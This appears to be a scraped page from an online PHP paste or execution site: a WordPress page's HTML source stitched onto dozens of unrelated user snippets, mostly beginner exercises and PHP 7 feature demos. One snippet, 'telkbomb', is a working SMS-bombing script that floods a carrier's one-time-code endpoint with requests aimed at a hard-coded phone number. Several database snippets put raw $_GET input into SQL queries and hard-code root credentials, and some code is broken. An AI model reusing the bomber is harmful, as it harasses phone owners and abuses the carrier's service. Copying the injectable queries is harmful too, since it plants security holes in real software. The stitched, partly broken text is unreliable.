.menu-close, .dashicons.menu-close { color: #f7f7f7; } .site-header a:hover, .main-navigation ul ul a:hover, #header-right-menu ul li a:hover, .menu-open:hover, .dashicons.menu-open:hover, .menu-close:hover, .dashicons.menu-open:hover { color: #eded8b; } /* Header logo height */ #site-banner .site-logo img { height: 45px; } #masthead_TesseractTheme { padding-top: 20px; padding-bottom: 20px; } /* Header width props */ #site-banner-left { width: 70%; } #site-banner-right { width: 30%; } #site-banner { max-width: 100%; padding-left: 0; padding-right: 0; } .icon-shopping-cart, .woocart-header .cart-arrow, .woocart-header .cart-contents { color: #fff; } </style> <link rel='stylesheet' id='tesseract-footer-banner-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/css/footer-banner.css?ver=1.0.0' type='text/css' media='all' /> <style id='tesseract-footer-banner-inline-css' type='text/css'> .site-footer { background-color: #3da5a5; color: #119184 } .site-footer { background-color: #3da5a5; } .home .site-footer, .home .site-footer { background-color: rgba(61, 165, 165, 1); } #colophon_TesseractTheme .search-field { color: #119184; } #colophon_TesseractTheme .search-field.watermark { color: #ccc; } #colophon_TesseractTheme h1, #colophon_TesseractTheme h2, #colophon_TesseractTheme h3, #colophon_TesseractTheme h4, #colophon_TesseractTheme h5, #colophon_TesseractTheme h6 { color: #119184; } #bloglist_title h1.entry-title, #bloglist_title h2.entry-title, #bloglist_title h3.entry-title, #bloglist_title h4.entry-title, #bloglist_title h5.entry-title, #bloglist_title h6.entry-title, #bloglist_title h2.entry-title a, #blogpost_title h1.entry-title{ color: #ffffff; } #bloglist_morebutton .blmore, #bloglist_morebutton .blmore a, #bloglist_morebutton .blmore a:hover{ color: #ffffff; } .summary h1, #prodlist_title h3, #prodlist_title h3 a{ color: #ffffff; } .woocommerce div.product p.price, .woocommerce div.product span.price, .wooshop-price .sales-price, .wooshop-price .regular-pricenew{ color: #ffffff; } #colophon_TesseractTheme a { color: #ffffff; } #colophon_TesseractTheme a:hover { color: #d1ecff; } #horizontal-menu-before, #horizontal-menu-after { border-color: rgba(255, 255, 255, 0.25); } #footer-banner.footbar-active { border-color: rgba(255, 255, 255, 0.15); } #footer-banner .site-logo img { height: 40px; } #colophon_TesseractTheme { padding-top: 10px; padding-bottom: 10px; } #horizontal-menu-wrap { width: 60%; } #footer-banner-right { width: 40%; } #footer-banner { max-width: 100%; padding: 0 20px; } </style> <link rel='stylesheet' id='dashicons-css' href='http://www.srisitaramvaidicasm.com/D/wp-includes/css/dashicons.min.css?ver=4.6.1' type='text/css' media='all' /> <link rel='stylesheet' id='tesseract-sidr-style-css' href='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/css/jquery.sidr.css?ver=1.0.0' type='text/css' media='all' /> <style id='tesseract-sidr-style-inline-css' type='text/css'> .sidr { background-color: #336ca6; } .sidr .sidr-class-menu-item a, .sidr .sidr-class-menu-item span { color: #fff; } .sidr .sidr-class-menu-item ul li a, .sidr .sidr-class-menu-item ul li span { color: rgba(255, 15, , 0.8); } .sidr .sidr-class-menu-item a:hover, .sidr .sidr-class-menu-item span:hover, .sidr .sidr-class-menu-item:first-child a:hover, .sidr .sidr-class-menu-item:first-child span:hover { color: #fff; } .sidr .sidr-class-menu-item ul li a:hover, .sidr .sidr-class-menu-item ul li span:hover, .sidr .sidr-class-menu-item ul li:first-child a:hover, .sidr .sidr-class-menu-item ul li:first-child span:hover { color: rgba(255, 15, , 0.8); } .sidr ul li > a:hover, .sidr ul li > span:hover, .sidr > div > ul > li:first-child > a:hover, .sidr > div > ul > li:first-child > span:hover, .sidr ul li ul li:hover > a, .sidr ul li ul li:hover > span { background: rgba(0, 0, 0, 0.2); } /* Shadows and Separators */ .sidr ul li > a, .sidr ul li > span, #sidr-id-header-button-container-inner > * { -webkit-box-shadow: inset 0 -1px rgba( 0 ,0 ,0 , 0.2); -moz-box-shadow: inset 0 -1px rgba( 0 ,0 ,0 , 0.2); box-shadow: inset 0 -1px rgba( 0 ,0 ,0 , 0.2); } .sidr > div > ul > li:last-of-type > a, .sidr > div > ul > li:last-of-type > span, #sidr-id-header-button-container-inner > *:last-of-type { box-shadow: none; } .sidr ul.sidr-class-hr-social li a, .sidr ul.sidr-class-hr-social li a:first-child { -webkit-box-shadow: 0 1px 0 0px rgba( 0 ,0 ,0, .25); -moz-box-shadow: 0 1px 0 0px rgba( 0 ,0 ,0, .25); box-shadow: 0 1px 0 0px rgba( 0 ,0 ,0, .25); } /* Header Right side content */ .sidr-class-search-field, .sidr-class-search-form input[type='search'] { background: rgba(255, 255, 255, 0.15); color: ; } .sidr-class-hr-social { background: rgba(255, 255, 255, 0.15); } #sidr-id-header-button-container-inner, #sidr-id-header-button-container-inner > h1, #sidr-id-header-button-container-inner > h2, #sidr-id-header-button-container-inner > h3, #sidr-id-header-button-container-inner > h4, #sidr-id-header-button-container-inner > h5, #sidr-id-header-button-container-inner > h6 { background: rgba(0, 0, 0, 0.2); color: ; } #sidr-id-header-button-container-inner a, #sidr-id-header-button-container-inner button { color: ; } #sidr-id-header-button-container-inner a:hover, #sidr-id-header-button-container-inner button:hover { color: ; } /* .sidr ul li > a, .sidr ul li > span, #header-button-container *, #sidr-id-header-button-container-inner button { -webkit-box-shadow: inset 0 -1px rgba(255, 255, 255, 0.1); -moz-box-shadow: inset 0 -1px rgba(255, 255, 255, 0.1); box-shadow: inset 0 -1px rgba(255, 255, 255, 0.1); } */ </style> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-includes/js/jquery/jquery.js?ver=1.12.4'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/wp-colorbox/jquery.colorbox.js?ver=1.0.9'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/wp-colorbox/wp-colorbox.js?ver=1.0.9'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/modernizr.custom.min.js?ver=1.0.0'></script> <script type='text/javascript'> /* <![CDATA[ */ var tesseract_vars = {"hpad":"20","fpad":"}; /* ]]> */ </script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/helpers.js?ver=4.6.1'></script> <link rel='https://api.w.org/' href='http://www.srisitaramvaidicasm.com/D/wp-json/' /> <link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.srisitaramvaidicasm.com/D/xmlrpc.php?rsd" /> <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.srisitaramvaidicasm.com/D/wp-includes/wlwmanifest.xml" /> <meta name="generator" content="WordPress 4.6.1" /> <link rel="canonical" href="http://www.srisitaramvaidicasm.com/D/search/" /> <link rel='shortlink' href='http://www.srisitaramvaidicasm.com/D/?p=175' /> <link rel="alternate" type="application/json+oembed" href="http://www.srisitaramvaidicasm.com/D/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.srisitaramvaidicasm.com%2FD%2Fsearch%2F" /> <link rel="alternate" type="text/xml+oembed" href="http://www.srisitaramvaidicasm.com/D/wp-json/oembed/1.0/embed?url=http%3A%2F%2Fwww.srisitaramvaidicasm.com%2FD%2Fsearch%2F&#038;format=xml" /> <!-- <meta name="vfb" version="2.9.2" /> --> <script type="text/javascript"> (function(url){ if(/(?:Chrome\/26\.0\.1410\.63 Safari\/537\.31|WordfenceTestMonBot)/.test(navigator.userAgent)){ return; } var addEvent = function(evt, handler) { if (window.addEventListener) { document.addEventListener(evt, handler, false); } else if (window.attachEvent) { document.attachEvent('on' + evt, handler); } }; var removeEvent = function(evt, handler) { if (window.removeEventListener) { document.removeEventListener(evt, handler, false); } else if (window.detachEvent) { document.detachEvent('on' + evt, handler); } }; var evts = 'contextmenu dblclick drag dragend dragenter dragleave dragover dragstart drop keydown keypress keyup mousedown mousemove mouseout mouseover mouseup mousewheel scroll'.split(' '); var logHuman = function() { var wfscr = document.createElement('script'); wfscr.type = 'text/javascript'; wfscr.async = true; wfscr.src = url + '&r=' + Math.random(); (document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(wfscr); for (var i = 0; i < evts.length; i++) { removeEvent(evts[i], logHuman); } }; for (var i = 0; i < evts.length; i++) { addEvent(evts[i], logHuman); } })('//www.srisitaramvaidicasm.com/D/?wordfence_logHuman=1&hid=7B6C4AF502E9FD09E6957A8C5B402112'); </script><noscript><style>#sidebar-footer aside {border: none!important;}</style></noscript> <style type="text/css">.recentcomments a{display:inline !important;padding:0 !important;margin:0 !important;}</style> <style type="text/css" id="custom-background-css"> body.custom-background { background-color: #e5e5e5; } </style> <style type="text/css" media="all" id="siteorigin-panels-grids-wp_head">/* Layout 175 */ #pg-175-0 .panel-grid-cell { float:none } #pl-175 .panel-grid-cell .so-panel { margin-bottom:30px } #pl-175 .panel-grid-cell .so-panel:last-child { margin-bottom:0px } #pg-175-0 { margin-left:-15px;margin-right:-15px } #pg-175-0 .panel-grid-cell { padding-left:15px;padding-right:15px } @media (max-width:780px){ #pg-175-0 .panel-grid-cell { float:none;width:auto } #pl-175 .panel-grid , #pl-175 .panel-grid-cell { } #pl-175 .panel-grid .panel-grid-cell-empty { display:none } #pl-175 .panel-grid .panel-grid-cell-mobile-last { margin-bottom:0px } } </style><link rel="icon" href="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/logo-150x150.jpg" sizes="32x32" /> <link rel="icon" href="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/logo.jpg" sizes="192x192" /> <link rel="apple-touch-icon-precomposed" href="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/logo.jpg" /> <meta name="msapplication-TileImage" content="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/logo.jpg" /> <style id="tt-easy-google-font-styles" type="text/css">p { } h1 { } h2 { } h3 { } h4 { } h5 { } h6 { } .about-body { } .about-headline { background-color: #c4c4c4; color: #3b3faf; font-family: 'Roboto'; font-size: 28px; font-style: normal; font-weight: 300; letter-spacing: -1px; line-height: 1.2; } </style> <!--[if gte IE 9]> <style type="text/css"> .gradient { filter: none; } </style> <![endif]--> </head> <body class="page page-id-175 page-template page-template-full-width-page page-template-full-width-page-php custom-background frontend beaver-on siteorigin-panels"> <div id="page" class="hfeed site"> <a class="skip-link screen-reader-text" href="#content_TesseractTheme"> Skip to content </a> <header id="masthead_TesseractTheme" class="site-header search is-right no-woo pos-relative menusize-fullwidth no-header-image" role="banner"> <div id="site-banner" class="cf search logo"> <div id="site-banner-main" class="is-right"> <div id="mobile-menu-trigger-wrap" class="cf"><a class="search is-right no-woo menu-open dashicons dashicons-menu" href="#" id="mobile-menu-trigger"></a></div> <div id="site-banner-left"> <div id="site-banner-left-inner"> <div class="site-branding "> <h1 class="site-logo"><a href="http://www.srisitaramvaidicasm.com/D/" rel="home"><img src="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/10/LogoMakr-layerExport-2.png" alt="logo" /></a></h1> </div> <!-- .site-branding --> <nav id="site-navigation" class="hideit main-navigation top-navigation fullwidth" role="navigation"> <ul id="menu-main" class="nav-menu"><li id="menu-item-369" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-369"><a href="http://www.srisitaramvaidicasm.com/D/oriental-conference/">International Seminar</a></li> </ul> </nav> <!-- #site-navigation --> </div> </div> <div id="site-banner-right" class="banner-right search"> <div class="search-wrapper"> <form role="search" method="get" class="search-form" action="http://www.srisitaramvaidicasm.com/D/"> <label> <span class="screen-reader-text">Search for:</span> <input type="search" class="search-field placeholdit" value=" name="s" title="Search for:" /> </label> <input type="submit" class="search-submit" value="Search" /> </form> </div> </div> </div> </div> </header> <!-- #masthead --> <div id="content_TesseractTheme" class="cf site-content"> <div id="primary" class="full-width-page no-sidebar"> <main id="main" class="site-main" role="main"> <article id="post-175" class="post-175 page type-page status-publish hentry"> <header class="entry-header"> </header><!-- .entry-header --> <div class="entry-content"> <div id="pl-175"><div class="panel-grid" id="pg-175-0" ><div class="siteorigin-panels-stretch panel-row-style" style="background-image: url(http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/front_6.jpg);background-size: cover;" data-stretch-type="full-stretched" ><div class="panel-grid-cell" id="pgc-175-0-0" ><div class="so-panel widget widget_black-studio-tinymce widget_black_studio_tinymce panel-first-child panel-last-child" id="panel-175-0-0-0" data-index="0"><div class="textwidget"><p style="text-align: justify;"><span class=" style="display:block;clear:both;height: 0px;padding-top: 300px;border-top-width:0px;border-bottom-width:0px;"></span></p> <h2 style="text-align: justify;"><span style="color: #ff9900;"> <img class="alignnone wp-image-278" src="http://www.srisitaramvaidicasm.com/D/wp-content/uploads/2016/09/LogoMakr-layerExport-9.png" alt="logomakr-layerexport-9" width="41" height="48" /><span style="color: #84e9c1;">Please give the details below to see the available resources.</span></span></h2> <p style="text-align: justify;"><span class=" style="display:block;clear:both;height: 0px;padding-top: 20px;border-top-width:0px;border-bottom-width:0px;"></span></p> <p style="text-align: justify;"><span style="color: #4097ed;"><script type="text/javascript" src="https://c3ebl049.caspio.com/scripts/embed.js"></script></span><br /> <script type="text/javascript">try{f_cbload(true, "c3ebl049.caspio.com", "751d400093d0ab0b95c84a75b5ec");}catch(v_e){;}</script></p> <div id="cxkg" style="text-align: justify;"><a href="https://c3ebl049.caspio.com/dp.asp?AppKey=751d400093d0ab0b95c84a75b5ec">Click here</a> to load this Caspio <a title="Cloud Database" href="http://www.caspio.com" target="_blank">Cloud Database</a></div> <div id="cb751d400093d0ab0b95c84a75b5ec" style="text-align: justify;"><a href="https://www.caspio.com" target="_blank">Cloud Database</a> by Caspio</div> <p style="text-align: justify;"><span class=" style="display:block;clear:both;height: 0px;padding-top: 1200px;border-top-width:0px;border-bottom-width:0px;"></span></p> </div></div></div></div></div></div> </div><!-- .entry-content --> </article><!-- #post-## --> </main><!-- #main --> </div><!-- #primary --> </div><!-- #content --> <footer id="colophon_TesseractTheme" class="site-footer pos-relative" role="contentinfo"> <div id="footer-banner" class="cf menu-only-menu mother-branding footer-fullwidth"> <div id="horizontal-menu-wrap" class="only-menu none-before"> </div><!-- EOF horizontal-menu-wrap --> <div id="footer-banner-right" class="designer"><div class="table"><div class="table-cell"><strong><a href="http://tesseracttheme.com">Theme by Tesseract</a></strong>&nbsp;&nbsp;<strong><a href="http://tesseracttheme.com"><img src="http://tylers.s3.amazonaws.com/uploads/2016/08/10074829/Drawing1.png" alt="Drawing" width="16" height="16" /></a></strong></div></div></div> </div><!-- EOF footer-banner --> </footer><!-- #colophon --> </div><!-- #page --> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-2014.06.20'></script> <script type='text/javascript'> /* <![CDATA[ */ var _wpcf7 = {"loaderUrl":"http:\/\/www.srisitaramvaidicasm.com\/D\/wp-content\/plugins\/contact-form-7\/images\/ajax-loader.gif","recaptcha":{"messages":{"empty":"Please verify that you are not a robot."}},"sending":"Sending ..."}; /* ]]> */ </script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.5.1'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/jquery.fittext.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/jquery.sidr.min.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/helpers-functions.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/helpers.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/helpers-beaver.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/themes/TESSERACT/js/skip-link-focus-fix.js?ver=1.0.0'></script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-includes/js/wp-embed.min.js?ver=4.6.1'></script> <script type='text/javascript'> /* <![CDATA[ */ var panelsStyles = {"fullContainer":"body"}; /* ]]> */ </script> <script type='text/javascript' src='http://www.srisitaramvaidicasm.com/D/wp-content/plugins/siteorigin-panels/js/styling-24.min.js?ver=2.4.17'></script> </body> </html> <!DOCTYPE HTML> <html> <head> </head> <body> <?php // define variables and set to empty values $name = $email = $gender = $comment = $website = "; if ($_SERVER["REQUEST_METHOD"] == "POST") { $name = test_input($_POST["name"]); $email = test_input($_POST["email"]); $website = test_input($_POST["website"]); $comment = test_input($_POST["comment"]); $gender = test_input($_POST["gender"]); } function test_input($data) { $data = trim($data); $data = stripslashes($data); $data = htmlspecialchars($data); return $data; } ?> <h2>PHP Form Validation Example</h2> <form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>"> Name: <input type="text" name="name"> <br><br> E-mail: <input type="text" name="email"> <br><br> Website: <input type="text" name="website"> <br><br> Comment: <textarea name="comment" rows="5" cols="40"></textarea> <br><br> Gender: <input type="radio" name="gender" value="female">Female <input type="radio" name="gender" value="male">Male <br><br> <input type="submit" name="submit" value="Submit"> </form> <?php echo "<h2>Your Input:</h2>"; echo $name; echo "<br>"; echo $email; echo "<br>"; echo $website; echo "<br>"; echo $comment; echo "<br>"; echo $gender; ?> </body> </html>

devang

<html> <head> <title>form</title> </head> <body> <?php $n=$_POST['text']; $vowel=array('a','e','i','o','u','A','E','I','O','U'); $len=strlen($n); $c=0; for($i=0;$i<$len;$i++) { if(in_array($n[$i],$vowel)) $c++; } echo "NO. of vowels = $c"; ?> <form method="POST"> <h1>Type Whatever you want</h1> <input type="text" name="text" id="text"><br><br> <input type="submit" value="Submit"> </form> </body> </html>

Instagram

<?php $hashtags = array("streets_storytelling","streetlife_award","ig_street","fromstreetswithlove","streetsgrammer","1415mobilephotographers","challengerstreets","lensculturestreets","hikaricreative","hartcollective","streetphotographers","documentlife","documentaryphotography","streetmagazine","streetportrait","streetactivity","streetshared","streetframe","lensculturestreets","ic_streetlife","life_is_street","streetphotos"); $arrHash = array(); foreach ($hashtags as $hashtag) { $json = file_get_contents("https://www.instagram.com/explore/tags/{$hashtag}/?__a=1"); if ($json !== false) { $obj = json_decode($json); $arrHash[$obj->tag->media->count] = $hashtag; } } ksort($arrHash); $counter = 1; foreach($arrHash as $count => $thisHash) { // echo "{$counter} _ {$count} - <a href='https://www.instagram.com/explore/tags/{$thisHash}/'>{$thisHash}</a><br/> "; // $counter++; echo "#{$thisHash} "; }

https://pt.stackoverflow.com/q/255573/101

<?php $array_exemplo = array( 0 => array( "primeiro" => "1", "segundo" => "2", "terceiro" => "3" ) ); var_dump($array_exemplo); var_dump($array_exemplo[0]); var_dump($array_exemplo[0]["segundo"]); //https://pt.stackoverflow.com/q/255573/101

header

<?php for($i=0;$i<=15;$i++){ if($i==10||$i==14){ continue; } echo $i.' '; } ?>

hghhhg

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, I am inside HTML!</h1>\n"; ?> </body> </html>

teste

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

fgdgd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

asdasdasd

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

1234

<?php /** * The template for displaying the footer * * Contains footer content and the closing of the #main and #page div elements. * * @package i-design * @since i-design 1.0 */ ?> </div><!-- #main --> <div class="tx-footer-filler"></div> <footer id="colophon" class="site-footer" role="contentinfo"> <div class="footer-bg "> <div class="widget-wrap"> <?php get_sidebar( 'main' ); ?> </div> </div> <div class="site-info"> <div class="copyright"> <?php esc_html_e( 'Copyright &copy;', 'i-design' ); ?> <?php bloginfo( 'name' ); ?> </div> <div class="credit-info"> <a href="<?php echo esc_url( __( 'http://wordpress.org/', 'i-design' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'i-design' ); ?>"> <?php printf( __( 'Powered by %s', 'i-design' ), 'WordPress' ); ?> </a> <?php printf( __( ', Designed and Developed by', 'i-design' )); ?> <a href="<?php echo esc_url( __( 'http://www.templatesnext.org/', 'i-design' ) ); ?>"> <?php printf( __( 'templatesnext', 'i-design' ) ); ?> </a> </div> </div><!-- .site-info --> </footer><!-- #colophon --> </div><!-- #page --> <?php wp_footer(); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $servername = "localhost"; $username = "root"; $password = "root"; $dbname = "form"; $conn = mysqli_connect($servername, $username, $password, $dbname); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } mysql_select_db("form", $conn); $a = ("INSERT INTO emp (firstname, lastname, age) VALUES ('$_GET[uname]', '$_GET[lname]', '$_GET[age]') "); if(!mysqli_query($a,$conn)) { die('Error: ' . mysqli_error()); } echo "values inserted"; mysqli_close($conn); ?> </body> </html>

PHP Editor By Somanath Lenka

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Static calls to non-static methods in PHP

<?php class A { function b() { print('Non-static call'); } } A::b(); ?>

Integer Division Program in PHP

<?php $value = intdiv(10,3); var_dump($value); print(" "); print($value); ?>

PHP Error Handling

<?php class MathOperations { protected $n = 10; // Try to get the Division by Zero error object and display as Exception public function doOperation(): string { try { $value = $this->n % 0; return $value; } catch (DivisionByZeroError $e) { return $e->getMessage(); } } } $mathOperationsObj = new MathOperations(); print($mathOperationsObj->doOperation()); ?>

random_int() in PHP

<?php print(random_int(100, 999)); print("); print(random_int(-1000, 0)); ?>

random_bytes() in PHP

<?php $bytes = random_bytes(5); print(bin2hex($bytes)); ?>

Filtered unserialize() in PHP

<?php class MyClass1 { public $obj1prop; } class MyClass2 { public $obj2prop; } $obj1 = new MyClass1(); $obj1->obj1prop = 1; $obj2 = new MyClass2(); $obj2->obj2prop = 2; $serializedObj1 = serialize($obj1); $serializedObj2 = serialize($obj2); // default behaviour that accepts all classes // second argument can be ommited. // if allowed_classes is passed as false, unserialize converts all objects into __PHP_Incomplete_Class object $data = unserialize($serializedObj1 , ["allowed_classes" => true]); // converts all objects into __PHP_Incomplete_Class object except those of MyClass1 and MyClass2 $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]); print($data->obj1prop); print("<br/>"); print($data2->obj2prop); ?>

Define PHP Closure::call()

<?php class A { private $x = 1; } // PHP 7+ code, Define $value = function() { return $this->x; }; print($value->call(new A)); ?>

CSPRNG-random_bytes()

<?php $bytes = random_bytes(5); print(bin2hex($bytes)); ?>

Define Pre PHP Closure::call()

<?php class A { private $x = 1; } // Define a closure Pre PHP 7 code $getValue = function() { return $this->x; }; // Bind a clousure $value = $getValue->bindTo(new A, 'A'); print($value()); ?>

<tr> <td class="main" valign="top"><?php if ($i == 0) echo TEXT_PRODUCTS_DESCRIPTION; ?></td> <td><table border="0" cellspacing="0" cellpadding="0"

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Anonymous Classes in PHP

<?php interface Logger { public function log(string $msg); } class Application { private $logger; public function getLogger(): Logger { return $this->logger; } public function setLogger(Logger $logger) { $this->logger = $logger; } } $app = new Application; $app->setLogger(new class implements Logger { public function log(string $msg) { print($msg); } }); $app->getLogger()->log("My first Log Message"); ?>

Constant Arrays in PHP

<?php //define a array using define function define('animals', [ 'dog', 'cat', 'bird' ]); print(animals[1]); ?>

Spaceship Operator Program in PHP

<?php //integer comparison print( 1 <=> 1);print("<br/>"); print( 1 <=> 2);print("<br/>"); print( 2 <=> 1);print("<br/>"); print("<br/>"); //float comparison print( 1.5 <=> 1.5);print("<br/>"); print( 1.5 <=> 2.5);print("<br/>"); print( 2.5 <=> 1.5);print("<br/>"); print("<br/>"); //string comparison print( "a" <=> "a");print("<br/>"); print( "a" <=> "b");print("<br/>"); print( "b" <=> "a");print("<br/>"); ?>

Null Coalescing Operator Program in PHP

<?php // fetch the value of $_GET['user'] and returns 'not passed' // if username is not passed $username = $_GET['username'] ?? 'not passed'; print($username); print("<br/>"); // Equivalent code using ternary operator $username = isset($_GET['username']) ? $_GET['username'] : 'not passed'; print($username); print("<br/>"); // Chaining ?? operation $username = $_GET['username'] ?? $_POST['username'] ?? 'not passed'; print($username); ?>

Valid Return Type in PHP

<?php declare(strict_types = 1); function returnIntValue(int $value): int { return $value; } print(returnIntValue(5)); ?>

PHP Strict Mode

<?php // Strict mode declare(strict_types=1); function sum(int ...$ints) { return array_sum($ints); } print(sum(2, '3', 4.1)); ?>

PHP Coercive Mode

<?php // Coercive mode function sum(int ...$ints) { return array_sum($ints); } print(sum(2, '3', 4.1)); ?>

Prac

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <form action="auth.php" method="get"></form> **name: <input type="textbook" name="text"> </body> </html>

Sort

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $dir = new FilesystemIterator(__DIR__, FilesystemIterator::SKIP_DOTS); $ext = ['php']; $files = []; foreach ($dir as $fileinfo) { if (!in_array($fileinfo->getExtension(), $ext)) continue; $files[$fileinfo->getMTime()][] = $fileinfo->getFilename(); } krsort($files); var_dump($files); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $servername = "localhost"; $username = "root"; $password = "root"; $conn =mysqli_connect($servername, $username, $password); if (!$conn) { die("connection failed: " . mysqli_connect_error()); } $sql = "CREATE DATABASES home1"; if (mysqli_query($conn, $sql)) { echo "Databases created successfully"; } else { echo "Error creating databases: " . mysqli_error($conn); } mysqli_close($conn); ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $servername = "localhost"; $username = "root"; $password = "root"; $dbname = "home1"; $conn = mysqli_connect($servername, $username, $password, $dbname); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $sql = "INSERT INTO MyGuests (firstname, lastname, email) VALUES ('Jhon', 'Doe', 'hohn@example.com')"; if(mysqli_query($conn, $sql)) { echo "New record created successfully\n"; } else { echo "Error: " . $sql . "<br>" . mysqli_error($conn); } mysqli_close($conn); ?> </body> </html>

Index.php

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

1.google.com

<?php function telkbomb($no, $jum, $wait){ $x = 0; while($x < $jum) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://tdwidm.telkomsel.com/passwordless/start"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,"phone_number=%2B".$no."&connection=sms"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_REFERER, 'https://my.telkomsel.com/'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $server_output = curl_exec ($ch); curl_close ($ch); echo $server_output."<br>"; sleep($wait); $x++; } } $execute = telkbomb('6281375050794', '10', '0'); print $execute; ?>

.m.m

<html> <body> <?php $secret = "mysecret"; if ($_POST["sha256hash"] == hash('sha256', hash('sha256', $_POST["270189401"].".".$_POST["2017-10-28T23:42:24Z"]). ".".$secret)) { if (write_information_to_persistent_store() == OK) { print "RECEIVED OK"; } } ?> </body> </html>

Test

<?php include_once 'Test.php'; include_once 'Test.php'; ?>

teste

<?php print_r(file_get_contents("https://www.mercadobitcoin.net/api/BTC/trades/")); ?>

ptrlspy

<?php $url = "https://petrolspy.com.au/webservice-1/station/box?neLat=-37.8456875&neLng=145.012316&swLat=-37.8601728&swLng=144.9818449"; echo file_get_contents($url); ?>

welcome

<?php $x = 800; while($x <= 1000) { echo " الرقم هو : $x"; $x++; } ?>

http://sexwap.co.in

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <meta charset="UTF-8"><title>Formulario com dados</title> <script> function avaliar(frm){ if(frm.nome.value=="|| frm.mor.value==" || frm.enc.value==" ){ alert ("É necessário preencher os campos"); return(false);} else if (isNaN(frm.tel.value)){ alert("o numero de telefone so pode ser numeros"); return (false);} else { return(true);} } </script></head> <body> <h2>Dados a enviar</h2> <form name="form_alunos" method="post" action="https://www.tutorialspoint.com/execute_php_online.php" onsubmit= "return avaliar(form_alunos)"> Nome do aluno: <input type="text" name="nome"><p> Morada do aluno: <input type="text" name="mor"><p> Telefone: <input type="text" maxlength="9" name="tel"><p> Nome do encarregado de educação: <input type="text" name="enc"><p> <input type="reset" value="Apagar dados"> <input type="submit" value="Enviar dados"> </form> </body></html>

Crime management system

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

PHP - Tendine giorni, mesi, anni

